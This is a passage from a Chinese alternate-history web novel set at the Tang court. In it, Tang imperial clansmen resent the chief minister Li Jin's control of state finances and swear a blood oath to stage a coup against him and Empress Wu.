她停顿一下,语气转为意味深长:“ 只 是, 这 ‘ 天 下 利 归 公’, 利 是 归 了, 却 也 都 归 到 了 李 相 那 转 运 使 司 的 账 上。 如今内外诸多用度,倒要先问过他转运使司了。 这 权 柄 … … 是 不 是 太 重 了 些?**”
李治的笑容微微收敛,沉默了片刻。他自然听得出皇后话语中的敲打与提醒。作为皇帝,他乐见国库充盈,但也本能地对任何过于集中的臣权抱有警惕。 李 瑾 的 转 运 使 司, 权 力 之 大, 触 角 之 深, 已 经 超 越 了 唐 朝 开 国 以 来 任 何 一 位 宰 相 或 财 政 大 臣。 而且,这套体系高效运转的背后,是大量非科举正途出身、或因新政得势的官员被安插在关键位置,他们与李瑾的纽带,似乎比与朝廷的纽带更紧密。
“李爱卿……确是干才。” 李治缓缓道,手指无意识地敲着御案,“ 他 所 行 之 事, 于 国 有 利。 至于权柄……眼下朝廷正需这等能臣整顿经济。 何 况, 他 是 媚 娘 你 一 手 提 拔 的 人, 你 当 信 得 过 他 的 忠 心。”
最后一句,带着一丝试探,也有一丝不易察觉的、帝后之间微妙的权力平衡考量。
武媚娘嫣然一笑,眼底却是一片冷静:“ 臣 妾 自 然 是 信 他 的。 只是提醒陛下,木秀于林,风必摧之。李相如今……可是很多人的眼中钉呢。”
“朕知道。” 李治叹了口气,显出几分疲惫,“ 有 人 上 密 奏, 说 他 ‘ 权 倾 中 外, 效 法 王 莽’。 简直荒谬!王莽岂有李爱卿这般实心用事、为国敛财之能?” 他挥了挥手,似乎想驱散这些烦心事,“ 不 过, 媚 娘 说 得 对, 树 大 招 风。 等漕运、盐务再稳一稳, 或 可 让 他 将 转 运 使 司 的 一 部 分 具 体 事 务, 交 由 户 部 或 其 他 衙 门 分 担 些, 也 好 稍 稍 分 散 其 权, 平 息 物 议。”
武媚娘不置可否,只是柔声道:“ 陛 下 圣 虑 周 全。 只是如今诸事草创,李相熟悉情况,骤然分权,恐生滞碍。此事……容后再议吧。眼下,还是以稳定大局为重。”
李治点了点头,不再多说。 但 帝 后 之 间 这 番 对 话, 已 经 透 露 出 了 对 李 瑾 权 势 过 于 膨 胀 的 一 丝 隐 忧 和 警 惕。 只是,在巨大的利益面前,在朝廷急需用钱的现实面前,这份隐忧被暂时压下了。 然 而, 种 子 已 经 种 下。
长安,某处更加隐秘的宅邸。
灯光昏暗,气氛比上一次更加凝重。在座的人数少了,但分量似乎更重了。除了失意的旧臣、利益受损的地方势力代表,这次,多了两位身着常服、但气度不凡的中年人——他们是李唐宗室中有名望的郡王,论辈分,是高宗李治的叔父。
“…… 利 归 中 央? 哼,是利归李瑾,利归他那个什么转运使司!” 一位郡王声音低沉,带着压抑的怒火,“ 我 等 宗 室 禄 米, 往 年 皆 由 各 地 州 县 及 时 解 送, 或 从 附 近 仓 廪 支 取。 如今倒好,全要经他转运使司核批、调拨!稍有延迟,王府上下便要饿肚子不成?这成何体统!”
“何止禄米?” 另一人接口,他是关陇某·大族的代表,“ 盐 铁 之 利 被 收, 漕 运 之 权 被 夺, 我 等 在 地 方 的 田 庄、 作 坊, 如 今 购 铁 制 农 具, 贩 卖 货 物, 都 要 看 那 转 运 使 司 的 脸 色, 受 其 盘 剥!** 长此以往,地方何以自存?世家何以维系?”
“还有那‘情报驿传司’!” 一个阴恻恻的声音响起,来自某个在漕运利益中被清洗的官员旧部,“ 简 直 就 是 李 瑾 的 耳 目 和 鹰 犬! 各地稍有异动,长安顷刻便知。前日,某位大人不过是在私宴上抱怨了几句新政,三日后,其在转运使司任职的子侄便被寻了个由头,调任闲职了!这哪里还是朝廷的天下?分明是他李瑾一手遮天!”
“ 更 有 甚 者, 他 竟 敢 以 神 策 军 旧 部 为 骨 干, 组 建 什 么 ‘ 漕 运 护 军’! 这是公然染指兵权!其心叵测!” 一位与军方有旧的老臣痛心疾首,“ 太 宗 皇 帝、 高 宗 皇 帝 在 时, 何 曾 有 外 臣 敢 如 此 作 为? 便是皇后……” 他看了一眼在座的宗室郡王,将后半句“牝鸡司晨,纵容权奸”咽了回去,但意思不言自明。
为首的那位年长宗室郡王,一直闭目养神,此刻缓缓睁开眼,眼中精光一闪:“ 诸 位 所 言, 皆 是 实 情。 李瑾之权,已威胁社稷根本。 然 其 人 深 得 圣 眷 … … 不, 是 深 得 皇 后 信 任, 又 有 揽 财 之 功, 动 他 不 易。** 陛下……” 他摇了摇头,没有说下去,但众人都明白,如今的皇帝李治,精力不济,许多事已由皇后决断。
“难道就眼睁睁看着他坐大,将这李唐江山,慢慢改成他李瑾的天下不成?” 有人恨声道。
“自然不能。” 郡王声音转冷,“ 然 欲 速 则 不 达。 他这套‘天下利归公’的把戏,看着光鲜,实则根基不稳。 他 所 依 仗 者, 一 是 圣 意, 二 是 新 得 之 利。 圣意或许一时难改,但这‘利’嘛……” 他嘴角勾起一丝冷笑,“ 盐 铁 漕 运, 事 关 千 万 人 生 计, 稍 有 不 慎, 便 是 泼 天 大 祸。** 江淮盐商殷鉴不远,可这天下,难道只有一个江淮?”
他环视众人,压低声音:“ 等 吧, 耐 心 等 待。 等一个机会。 等 他 出 错, 等 天 时 有 变, 等 … … 陛 下 或 许 有 不 同 的 想 法。 我 等 需 早 做 准 备, 联 络 同 志, 保 存 实 力, 以 待 天 时。 这 大 唐 的 天 下, 毕 竟 还 姓 李。**”
“郡王高见!” 众人精神一振,仿佛在黑暗中看到了一丝微光。 一 场 针 对 李 瑾 和 其 背 后 势 力 的 更 大 风 暴, 正 在 这 片 因 “ 天 下 利 归 公” 而 表 面 平 静 的 水 面 下, 悄 然 酝 酿、 聚 集 着 力 量。
此刻,转运使司官衙内。
李瑾并不知道那场密谋,或者说,即便知道,也在意料之中。他站在巨大的大唐疆域图前,图上密密麻麻标注着各地的盐场、铁矿、茶山、漕运节点、市舶港口,以及转运使司下属各分司的位置。一条条红线,代表着物资和钱款的流动方向,最终都汇向长安。
灯火通明,映照着他平静而略显疲惫的面容。 他 成 功 地 建 立 起 了 一 个 原 始 的、 高 度 集 权 的 国 家 资 本 主 义 雏 形, 将 帝 国 的 经 济 命 脉 紧 紧 抓 在 了 中 央、 抓 在 了 他 和 支 持 他 的 皇 权 手 中。** 国库充盈,中央权威日重。
但 他 也 清 楚, 自 己 坐 在 了 火 山 口 上。 这套体系攫取了太多的利益,触动了太多人的根基。它的高效,建立在严密的控制和巨大的压力之上。 它 像 一 架 精 密 而 脆 弱 的 机 器, 需 要 不 断 地 注 入 强 大 的 动 力 ( 皇 权 支 持) 和 维 护, 任 何 一 个 环 节 的 崩 溃, 都 可 能 引 发 连 锁 反 应。 而他的敌人,从未消失,只是在蛰伏,在等待。
“ 天 下 利 归 公 … …” 他低声重复着这五个字,手指无意识地点在地图上的长安位置。“ 公 是 天 下 之 公, 还 是 … … 一 人 之 私?” 这个念头在他脑海中一闪而过,随即被他压下。现在不是思考哲学问题的时候。
他转过身,看向案头堆积如山的文书,那里有各地分司的请示,有度支稽核司的审计报告,有情报驿传司的密报,还有关于即将推行的、以新铸“乾封泉宝”替换劣钱、整顿币制的初步方案……
路 还 很 长, 危 机 四 伏, 但 他 已 经 没 有 退 路, 也 不 想 后 退。 这“天下利归公”的棋局,他才刚刚落子,真正的博弈,或许才刚刚开始。
第131章 宗室忧社稷
麟德三年,深秋。
长安城的银杏叶已染作金黄,随风旋落,铺满宫道与坊市。然而,在这片象征着富贵与丰饶的金色之下,一股不安的暗流,正沿着皇城根、王府高墙、以及那些门庭渐显冷落的世家大宅,悄然涌动、汇聚。 这 股 暗 流 的 源 头, 不 再 仅 是 被 触 动 利 益 的 地 方 豪 强 或 失 意 官 员, 而 是 那 些 身 上 流 淌 着 高 祖、 太 宗 皇 帝 血 脉 的 李 唐 宗 室。**
荆王李元景的府邸,坐落在长安城东北隅的崇仁坊。
与魏王、吴王等当红亲王的府邸相比,荆王府显得有些门庭冷落。李元景,高祖李渊第六子,当今天子李治的六叔,在贞观朝便不甚得志,如今更是远离权力中心,只顶着个亲王虚衔,领着日渐“准时”却并无增额的禄米,在府中读书弈棋,看似与世无争。
但此刻,王府深处的暖阁内,却聚集了数位身份贵重的客人。除了主人荆王,还有 江 夏 王 李 道 宗( 太 宗 堂 弟, 名 将, 此 时 已 因 故 被 贬 官 闲 居)、 韩 王 李 元 嘉( 高 祖 第 十 一 子)、 霍 王 李 元 轨( 高 祖 第 十 四 子) 等。** 皆是李唐宗室中辈分较高、但眼下在朝中并无实权的亲王。他们屏退左右,只留一二绝对心腹在门外看守。
“ 六 哥( 荆 王 行 六), 这 口 气, 兄 弟 们 实 在 是 咽 不 下 去 了!” 韩王李元嘉年纪较轻,性子也急,率先开口,声音压抑着愤怒,“那转运使司的行文,你们都看到了吧?说什么‘为统一调度,彰显朝廷恩典’,从今岁起,各王府的禄米、绢帛、乃至年节赏赐,皆需先报转运使司核计,再由其下属仓场支拨!这、这成何体统!我李唐皇族,何时领自家米粮,还要看一个外臣衙门的脸色了?”
霍王李元轨叹了口气,他生性较为谨慎,但此刻也眉头紧锁:“ 岂 止 禄 米? 前日,我府上欲采买一批上好的并州铁炭以备过冬,往常都是遣人直接去相熟商户处采办。如今却被告知,凡大宗铁、炭交易,需有转运使司签发的‘特许凭由’,且价格需按官定,不得私相授受。折腾数日,方才办妥,价钱还贵了三成。下面庄子的管事也来诉苦,说新打的农具,须得去官定铺户,价钱既贵,货色还不及从前。”
“这还只是些细枝末节。” 一直沉默的江夏王李道宗缓缓开口。他虽因事被贬,但余威犹在,曾掌兵权的他,看得更深远,也更沉痛。“ 诸 位 王 兄 王 弟 可 曾 想 过, 那 李 瑾 设 此 转 运 使 司, 掌 盐 铁, 控 漕 运, 握 市 舶, 如 今 更 将 手 伸 进 了 各 王 府、 各 地 官 仓 的 支 用。 这 天 下 的 钱 粮 物 资, 进 出 流 转, 几 乎 尽 在 其 掌 握。 他一个外姓臣子,何德何能,竟至于此?”
他顿了顿,目光扫过在座诸王,声音更低,却更重:“ 这 还 是 我 李 家 的 天 下 吗? 当年太宗皇帝马上得天下,高祖皇帝开基立业,是何等不易!可如今呢? 陛 下 龙 体 欠 安, 深 居 简 出, 朝 政 多 委 于 皇 后 … … 我 本 不 欲 言 此, 然 则 牝 鸡 司 晨, 惟 家 之 索, 古 有 明 训。 皇后信任李瑾,李瑾便借此揽权。长此以往, 只 怕 有 一 日, 这 长 安 城 里, 只 知 有 武 后 与 李 相, 不 知 有 陛 下, 更 不 知 有 我 李 唐 宗 庙 社 稷 了!**”
最后一句,他说得痛心疾首,眼中隐有泪光。在座诸王无不悚然动容,一股寒意从心底升起。
荆王李元景一直静听,此刻才幽幽叹息一声:“道宗所言,虽有些过激,却并非全无道理。 我 等 身 为 宗 室, 高 祖 太 宗 子 孙, 与 国 同 休 戚。 眼见朝纲渐有倒悬之危,岂能坐视?” 他拿起案几上一份手抄的文书,正是转运使司关于禄米支取的新规,“ 李 瑾 此 人, 能 力 是 有 的, 为 朝 廷 敛 财, 也 确 有 功 劳。 然则, 权 柄 之 重, 已 非 人 臣 所 宜。 更兼其行事,多用酷吏手段,如那袁公瑜、崔义玄之流,为其鹰犬,罗织罪名,打击异己。朝野之间,敢怒不敢言者,不知凡几。”
韩王李元嘉恨声道:“ 何 止 朝 野! 我听说,连东宫……唉!” 他欲言又止,但众人都明白他的意思。废太子李忠虽已被废,但毕竟曾是储君,其处境微妙,而李瑾与武后,无疑是促成其被废的关键力量之一。这难免让一些心中仍念着“嫡长”的宗室感到不安。
“ 更 有 甚 者, 我 听 闻, 那 李 瑾 正 在 筹 谋 改 革 币 制, 欲 废 当 下 恶 钱, 铸 行 新 钱。” 霍王李元轨补充了一个更令人心惊的消息,“ 此 事 若 成, 天 下 钱 货 流 通 之 权, 亦 将 尽 入 其 手。 届时,他手握钱粮兵(漕运护军虽非正式军队,但亦是武装)……诸位, 昔 日 汉 之 王 莽, 是 如 何 行 事 的?**”
“王莽”二字一出,暖阁内的空气仿佛瞬间凝固。虽然无人敢明言李瑾便是王莽,但这个类比所引发的可怕联想,却让在座每一位宗室亲王都感到背脊发凉。 外 戚( 武 后 虽 非 李 瑾 亲 戚, 但 关 系 密 切 可 类 比) 专 权, 权 臣 跋 扈, 皇 权 旁 落 … … 这 一 切, 与 西 汉 末 年 的 景 象, 何 其 相 似!
“陛下……陛下难道就毫无察觉吗?” 韩王元嘉忍不住道,语气中带着一丝对皇帝的埋怨和不解。
荆王元景摇了摇头,脸上露出复杂的表情:“ 陛 下 自 去 岁 以 来, 目 疾 头 风 愈 发 沉 重, 精 神 不 济, 已 很 少 亲 理 朝 政。 奏疏多由皇后批阅,大事亦多与皇后商议。 皇 后 … … 她 是 极 有 主 见 的。 李瑾能为她、为朝廷带来实实在在的钱粮,巩固她的权位,她自然要倚重。至于权柄过重之患……或许在皇后看来,一切尚在掌控之中吧。” 他顿了顿,声音更低,“ 又 或 者, 皇 后 本 就 有 意 借 此 人 之 手, 收 拢 权 力, 打 压 … … 打 压 我 等 宗 室 与 旧 臣 呢?**”
这个猜测更加骇人听闻,但也并非全无可能。武后以女子之身掌权,本就面临巨大压力,借助李瑾这样的“酷吏能臣”来打击异己、巩固权力,是完全合理的逻辑。
“ 难 道 我 们 就 这 样 坐 以 待 毙 不 成?**” 江夏王李道宗猛地一拍案几,他征战半生,血性犹存,“眼看祖宗基业,要被妇人、权臣一点点侵夺?”
“自然不能。” 荆王元景眼中闪过一丝决断,“然则,事需缓图,不可急躁。 李 瑾 圣 眷 正 浓, 羽 翼 已 丰, 更 有 皇 后 为 奥 援, 硬 碰 硬, 无 异 以 卵 击 石。 需得等待时机。”
“等?等到何时?” 韩王元嘉急道。
“ 等 他 出 错, 等 天 时 有 变。” 元景缓缓道,“他这套‘天下利归公’,看似光鲜,实则如履薄冰。盐铁漕运,牵涉千万人生计, 只 要 有 一 处 崩 坏, 必 然 引 发 连 锁 反 应。 江淮盐商殷鉴不远,可天下苦其新政者,岂止盐商?那些被断了财路的地方豪强,被夺了权柄的州县官吏,被其排挤的朝中老臣…… 这 些 人, 心 中 之 怒 火, 早 已 如 地 下 熔 岩, 只 待 一 个 喷 发 的 时 机。**”
他目光扫过众人,带着一种古老的、属于皇族的政治智慧:“ 我 等 宗 室, 身 份 特 殊, 不 可 轻 动, 更 不 可 为 人 先。 但我们可以暗中联络,积蓄力量,等待那‘喷发’的时刻。 到 时, 我 们 便 是 稳 定 社 稷、 清 除 君 侧 的 中 流 砥 柱。 这,才是我们该做的事情。”
“ 如 何 联 络? 又 如 何 积 蓄 力 量?” 霍王元轨问得实际。
“ 长 孙 无 忌 等 元 老 虽 已 不 在, 但 朝 中 不 满 武 后 与 李 瑾 者, 仍 大 有 人 在。 有些是真心为社稷,有些则是利益受损。 我 们 可 以 悄 然 接 触, 不 必 明 言, 只 需 让 他 们 知 道, 宗 室 并 未 完 全 沉 默, 仍 心 系 社 稷。” 元景道,“至于力量……各王府虽无实权,但总有旧部门人,总有忠于李唐的义士。另外,” 他看向江夏王李道宗,“ 道 宗 贤 弟 曾 掌 兵 马, 在 军 中 可 还 有 信 得 过 的 旧 部? 不 必 多, 关 键 时 刻, 能 有 一 二 可 用 之 人 即 可。”
李道宗沉吟片刻,缓缓点头:“ 北 门 禁 军 与 十 二 卫 中, 确 有 几 位 将 校, 曾 在 我 麾 下 效 力, 为 人 忠 义, 对 如 今 朝 局 … … 亦 有 微 词。** 我可设法暗中联络,晓以大义。”
“甚好。” 荆王元景颔首,又叮嘱道:“ 切 记, 一 切 需 谨 慎, 不 可 留 下 文 字 痕 迹。 那李瑾手下有‘察事听子’(情报人员),耳目灵通。我等只需静待时机,暗中准备。 时 机 一 到 … …” 他没有说下去,但眼中闪过一道凌厉的光芒。
几乎就在同一时间,长安城另一处,魏王府内。
与荆王府的沉郁隐秘不同,魏王李泰的府邸依旧奢华,只是这位曾经与皇位仅一步之遥的亲王,如今脸上已无当年与太子承乾争锋时的意气风发,只剩下被圈禁多年的阴郁与不甘。他因身体肥胖,不良于行,更多时候是待在府中。
此刻,他正听着心腹的汇报,内容是朝中近日关于李瑾和转运使司的一些非议,以及某些宗室亲王私下走动频繁的传闻。
“ 荆 王、 江 夏 王 … … 他 们 也 坐 不 住 了 吗?” 李泰肥胖的手指轻轻敲击着玉如意,脸上露出一丝嘲讽与复杂交织的神情。“我这个好四弟(指李治),身子是越发不济了。 武 氏 那 个 女 人, 倒 是 越 发 威 风 了, 还 养 了 李 瑾 这 么 一 条 好 狗。 咬人,是真疼啊。”
他当年争位失败,被太宗贬黜,虽然李治登基后恢复了他的亲王爵位,但一直处于严密监视之下,毫无实权。他对李治、对武后,心中岂能无怨?此刻见宗室中有人对武后和李瑾不满,他心中既有快意,也有一丝冰冷的盘算。
“ 让 我 们 的 人, 也 悄 悄 接 触 一 下 荆 王 他 们 那 边 的 人。” 李泰忽然道,声音低沉,“不必多说,只是表达一下……同病相怜之意。让他们知道,我李泰,虽然是个废人, 但 身 上 流 的, 依 然 是 太 宗 皇 帝 的 血。 这李唐的江山,若真被外姓妇人、权臣糟蹋了,我也无颜去见父皇于九泉。”
心腹一惊,低声道:“大王,陛下和皇后那边……”
“怕什么?” 李泰冷笑,“ 我 如 今 不 过 是 个 苟 延 残 喘 的 废 人, 他 们 还 能 把 我 怎 么 样? 况且,天塌下来,有高个子顶着。荆王、江夏王他们,可比我们急。” 他眼中闪过一丝阴鸷,“ 看 着 吧, 这 长 安 城, 这 大 唐 的 天, 快 要 变 了。** 我们只需……静观其变,或许,还能有一线机会。”
大明宫,紫宸殿后殿。
李治刚刚服下太医署呈进的汤药,精神稍好,正倚在榻上听武媚娘轻声念着几份紧要奏章。殿内炉火温暖,药香与龙涎香混合在一起。
当听到一份关于今秋漕粮提前、损耗大减的捷报时,李治苍白的脸上露出一丝欣慰:“ 李 瑾 办 事, 总 是 让 人 放 心。** 漕运通畅,京师无虞,朕心甚安。”
武媚娘放下奏章,拿起丝巾为他轻轻拭了拭嘴角,柔声道:“陛下安心休养便是,外朝有李相和诸位大臣尽心竭力,内廷有臣妾看着,出不了大乱子。”
李治握住她的手,叹道:“ 媚 娘, 辛 苦 你 了。** 只是……朕近日偶尔听闻,朝野间对李爱卿……似有些非议。说他权柄过重,行事过于操切。甚至……有些宗室亲王,也颇有微词。”
武媚娘眼眸低垂,长长的睫毛掩去了眼中的神色,语气依然温柔:“ 树 大 招 风, 自 古 皆 然。 李相推行新政,整顿财政,难免触动一些人的利益。有些人尸位素餐,自己无能,便见不得旁人立功。至于宗室……” 她顿了顿,声音略冷,“ 他 们 享 着 国 家 俸 禄, 安 享 富 贵, 如 今 不 过 是 禄 米 支 取 的 程 序 变 了 变, 便 觉 得 不 自 在 了。 陛下富有四海,难道还短了他们的用度不成? 李 相 所 为, 皆 是 为 了 大 唐 江 山 永 固, 为 了 陛 下 能 安 心 调 养。** 些许流言,陛下不必挂怀。”
李治看着武媚娘,她眼中的坚定和为他分忧的柔情,让他心中温暖,也让他将那一点点关于“权臣”的疑虑暂时压下。“媚娘说的是。 只 是 … … 宗 室 毕 竟 是 自 家 人, 不 可 过 于 冷 落。** 有机会,让李爱卿也稍加安抚才是。”
“陛下仁厚,臣妾记下了。” 武媚娘顺从地点头,但当她转身去取另一份奏章时,眼底深处却掠过一丝寒芒。 宗 室 … … 她 自 然 知 道 那 些 人 在 想 什 么, 在 说 什 么。 牝鸡司晨?权奸当道? 哼, 若 非 你 们 李 家 的 男 人 撑 不 起 这 片 天, 何 须 我 一 个 女 子 抛 头 露 面? 至于李瑾……她需要这把锋利又快用的刀,至少在彻底清除所有障碍之前。 等 到 一 切 稳 固, 权 柄 过 重 的 刀, 自 然 也 有 其 归 处。** 但现在,还不到时候。
她心思电转,脸上却依旧带着温婉的笑容,将一份关于筹备新年大朝会及祭祀典礼的奏章,轻轻放到李治面前。
秋意渐深,长安城中,金黄的落叶之下,忠诚与野心,不安与阴谋,如同深埋的种子,正在权力的冻土下悄然萌动。 宗室的忧虑,如同投入平静湖面的石子,激起的涟漪,正缓缓扩散,终将与那些被“天下利归公”所伤及的利益集团的怨愤暗流,汇合在一起,形成一股足以颠覆朝局的巨大潜流。
而这场风暴的第一道闪电,或许就隐藏在这看似寻常的、关于宗室禄米支取方式的细微改变之中。 所 有 人 都 在 等 待, 等 待 着 那 个 足 以 点 燃 一 切 的 时 机。 大明宫的帝后,转运使司的李瑾,密室中的宗室亲王,失意的旧臣,利益受损的豪强…… 每 一 方 都 在 自 己 的 棋 盘 上 落 子, 等 待 着 对 手 露 出 破 绽, 等 待 着 那 必 然 到 来 的 撞 击。**
山雨欲来,风已满楼。
第132章 血书藏密室
麟德三年,冬。
长安的第一场雪来得悄无声息,却在短短一夜之间,将这座煌煌帝京染作一片素白。银装素裹之下,朱门高墙、里坊街市都显得柔和了几分,仿佛连那些涌动在暗处的激流与算计,也被这洁白的雪被暂时掩盖。然而,冰层之下的水流,往往最为湍急刺骨。
荆王府,后园密室。
此地远比之前暖阁会面更加隐秘,位于王府花园假山之下,入口被藤蔓与积雪掩盖,内里却点着数盏长明牛油灯,光线昏黄,空气里弥漫着尘土、旧书卷和一丝若有若无的、铁与血混杂的森寒之气。这里曾是荆王李元景年轻时,私下招揽门客、谈论“大事”的所在,尘封多年,如今再次启用。
室内陈设简单,只有一方案几,几张胡床。此刻围坐的,除了荆王李元景、江夏王李道宗、韩王李元嘉、霍王李元轨这几位核心宗室,还多了两张新面孔。
一位是 蒋 王 李 恽, 高 祖 第 七 子, 与 荆 王 同 辈, 性 情 比 较 低 调, 但 因 为 一 处 颇 为 丰 饶 的 封 地 矿 产 被 转 运 使 司 以 “ 收 归 国 有” 的 名 义 强 行 接 管, 损 失 惨 重, 怨 气 深 重。 另一位,则是 原 太 子 李 忠 的 舅 父, 前 尚 书 右 丞 柳 奭 的 族 弟 柳 庆, 代 表 着 一 部 分 因 长 孙 无 忌、 褚 遂 良 等 元 老 倒 台 而 失 势 的 关 陇 门 阀 残 余 势 力, 他 们 对 武 后 的 仇 恨 刻 骨 铭 心, 对 李 瑾 这 个 武 后 的 “ 头 号 爪 牙” 更 是 恨 不 能 食 肉 寝 皮。
“ 各 位, 人 已 到 齐。** 今日之事,关乎社稷存续,李唐国祚,更关乎我等身家性命。” 荆王李元景的声音在密室中回荡,带着一种前所未有的凝重与决绝。他环视众人,目光在柳庆身上略作停留,“柳公能来,足见赤诚。只是此事凶险万分,一旦有失,便是万劫不复。柳公可思虑清楚了?”
柳庆年约五旬,面容清癯,眼神却锐利如鹰,他拱手道:“ 荆 王 殿 下 明 鉴。 武氏牝鸡司晨,惑乱朝纲;李瑾奸佞弄权,荼毒天下。 长 孙 太 尉、 褚 仆 射 等 一 干 忠 臣 元 老, 尽 遭 其 毒 手。 今上沉疴,受其蒙蔽。 我 柳 氏 世 受 国 恩, 岂 能 坐 视 江 山 易 色, 神 器 蒙 尘? 虽 九 死, 亦 不 悔! 只是,” 他话锋一转,看向几位亲王,“ 不 知 诸 位 殿 下, 决 心 如 何? 是 仅 止 于 口 头 义 愤, 还 是 … … 真 有 清 君 侧、 扶 社 稷 之 实 举?**”
这番话问得直接,甚至有些咄咄逼人。韩王李元嘉脸上有些挂不住,想要反驳,却被江夏王李道宗抬手制止。
李道宗缓缓起身,他虽被贬闲居,但多年戎马生涯养成的威仪犹在。“柳公问得好。 今 日 既 聚 于 此 绝 密 之 地, 便 不 是 来 发 牢 骚 的。 我等宗室,与国同体。 眼 见 奸 后 权 臣 把 持 朝 政, 陛 下 被 困 于 深 宫, 太 祖 太 宗 基 业 有 倾 覆 之 危, 若 再 犹 豫 不 决, 坐 以 待 毙, 他 日 有 何 面 目 见 列 祖 列 宗 于 地 下?” 他目光扫过众人,一字一句道:“ 我 等 所 谋, 非 为 私 利, 乃 为 国 除 奸, 清 君 侧, 还 政 于 陛 下, 正 本 清 源!”
“ 清 君 侧! 还 政 于 陛 下!**” 韩王、蒋王、霍王也低声应和,眼中燃起决绝的火光。柳庆也重重点头。
“好!” 荆王李元景低喝一声,从案几下方的暗格中,取出一方洁白的素绢,又拿出一柄小巧却锋利的金刀。“ 既 然 大 家 同 心, 当 歃 血 为 盟, 立 下 誓 约, 以 明 心 志, 亦 绝 退 路! 此 事 若 成, 则 功 在 社 稷; 若 败, 无 非 一 死, 不 负 李 唐 血 脉!**”
说罢,他毫不犹豫地用金刀划破自己左手食指,殷红的血珠顿时涌出。他提笔蘸血,在那方素绢的顶端,郑重写下四个触目惊心的大字:
“ 清君侧疏”。
“ 今 有 妖 后 武 氏, 性 非 和 顺, 地 实 寒 微 … … 豺 狼 成 性, 近 狎 邪 僻, 残 害 忠 良, 杀 姊 屠 兄, 弑 君 鸩 母 … … 包 藏 祸 心, 窥 窃 神 器 … …”** 他一边写,一边低声念诵,用的是骆宾王那篇千古檄文的句式,但内容更直指当下,将武后如何迷惑皇帝、把持朝政、任用酷吏、迫害宗室大臣的“罪状”一一罗列,言辞激烈,充满愤恨。
接着,笔锋转向李瑾:“ 又 有 奸 臣 李 瑾, 本 出 寒 微, 幸 进 小 人 … … 凭 恃 妖 后, 窃 弄 威 权 … … 设 转 运 之 司, 夺 天 下 之 利; 用 苛 酷 之 法, 残 害 百 姓; 建 私 人 之 军( 漕 运 护 军), 图 谋 不 轨 … … 其 罪 滔 天, 罄 竹 难 书 … …”** 将李瑾描绘成一个结党营私、祸·国殃民、意图篡逆的巨奸。
最 后, 他 笔 锋 一 转, 点 明 宗 旨:“ 臣 等 不 忍 坐 视 社 稷 沦 丧, 皇 纲 弛 绝 … … 谨 纠 合 忠 义, 誓 清 妖 氛 … … 诛 武 氏, 斩 李 瑾 … … 还 宫 阙 于 陛 下, 复 朝 政 于 清 明 … … 天 地 神 明, 实 所 共 鉴!”
写罢,他将金刀和素绢往前一推,目光灼灼地看向众人。
江夏王李道宗毫不犹豫,接过金刀划破手指,在“清君侧疏”下方,用力写下自己的名字“李道宗”,并按上血指印。韩王、蒋王、霍王依次效仿。柳庆深吸一口气,也郑重地以血签名按印。
雪 白 的 素 绢 上, 一 行 行 血 字 和 五 个 血 色 名 字 与 指 印, 在 昏 黄 的 灯 火 下, 显 得 格 外 刺 目 而 狰 狞。 这 不 仅 是 一 份 盟 约, 更 是 一 道 必 须 用 鲜 血 来 履 行 或 洗 刷 的 宣 言。
“ 盟 约 已 成, 今 后 便 是 同 生 共 死 之 人。**” 荆王李元景将血书小心卷起,用油布包好,放入一个早就准备好的、内衬铅皮的狭长铜管中,然后走到密室角落,移开一块看似平常的青砖,露出一个内嵌在墙体里的暗格。他将铜管放入,仔细封好,再覆上青砖,不露丝毫痕迹。
做完这一切,他才转过身,脸上已是一片肃杀:“ 血 书 已 立, 再 无 反 悔 余 地。** 接下来,便是如何行事了。道宗贤弟,军中联络如何?”
江夏王李道宗沉声道:“ 已 有 眉 目。 北门禁军中,左监门卫中郎将独孤谋,其父曾是我旧部,对武后与李瑾早有不满,我已暗中试探,其人可用,答应届时可为内应,打开玄武门附近通道。此外,左右骁卫、左右武卫中,亦有数位中下级将校,或因其家族利益受损,或对现状不满,愿意响应。 但 他 们 要 求, 必 须 有 宗 室 亲 王 为 首, 并 有 陛 下 … … 或 者 至 少 是 能 代 表 陛 下 的 明 确 旨 意 为 凭。**”
“陛下的旨意……” 荆王沉吟。他们清楚,卧病的皇帝李治,几乎不可能直接给他们什么“清君侧”的密诏。 但 这 并 不 妨 碍 他 们 制 造 “ 旨 意”。 “此事我来想办法。矫诏之事,古已有之。届时, 我 们 可 称 得 到 陛 下 密 诏, 或 是 陛 下 身 边 有 忠 义 宦 官 传 出 口 谕, 命 我 等 铲 除 惑 乱 宫 闱、 蒙 蔽 圣 听 的 奸 佞。 只 要 行 动 迅 速, 一 举 成 功, 事 后 陛 下 即 便 不 认, 木 已 成 舟, 也 只 能 顺 水 推 舟。” 他说得轻描淡写,但其中蕴含的风险与冷酷,让在场几人都心头一凛。
“ 关 键 是 时 机 与 人 手。” 霍王李元轨比较务实,“宫中宿卫,尤其是千牛卫、金吾卫,多由皇帝亲信或功勋子弟担任,未必肯听我们调遣。李瑾手下还有那支‘漕运护军’,虽非野战精锐,但人数不少,且驻扎在城外不远。神策军主力虽在边镇,但长安亦留有一定兵力。我们能动用的人手,恐怕有限。”
柳庆此时开口道:“ 人 手 方 面, 柳 某 或 可 联 络 一 二。 一些被李瑾排挤出朝、或家族利益受损的勋贵子弟、府兵旧部,心中亦有怨气。 另 外 … … 魏 王 殿 下 那 边, 似 乎 也 有 所 意 动。** 他虽被严加看管,但百足之虫死而不僵,在宫中、在朝野,未必没有故旧。若能得其暗中支持,或可多一分助力。”
“李泰?” 荆王元景皱了皱眉,这个四哥(魏王李泰是太宗第四子)能力野心都有,但名声不太好,且与当今陛下有旧怨。“此人可用,但需防备。事成之后,此人恐是心腹大患。”
“可先虚与委蛇,许以重利。事成之后……” 江夏王李道宗眼中寒光一闪,未尽之意,不言自明。
“至于时机,” 荆王元景手指轻轻敲击着冰冷的石质案面,缓缓道:“ 年 关 将 近, 新 年 大 朝 会 与 祭 天 大 典, 乃 是 固 定 仪 程。 按照惯例,正旦大朝会,百官、宗室、外藩使节皆需入宫朝贺。 皇 后 与 李 瑾, 必 定 在 场。 宫 中 虽 有 守 备, 但 人 员 混 杂, 仪 仗 繁 多, 正 是 防 备 相 对 松 懈、 易 于 行 事 之 时。 且大典前后,长安城门、宫门开启关闭皆有定例,我等可借此调度人手。”
“玄武门!” 江夏王李道宗忽然道,眼中闪过一丝精光,“ 太 宗 皇 帝 当 年 便 是 于 玄 武 门 … … 一 举 定 鼎。 此地临近内宫,位置关键。若能控制玄武门,则可迅速进入宫内,直扑举行大朝会的含元殿或帝后所在!独孤谋既可为内应,此处当为首选!”
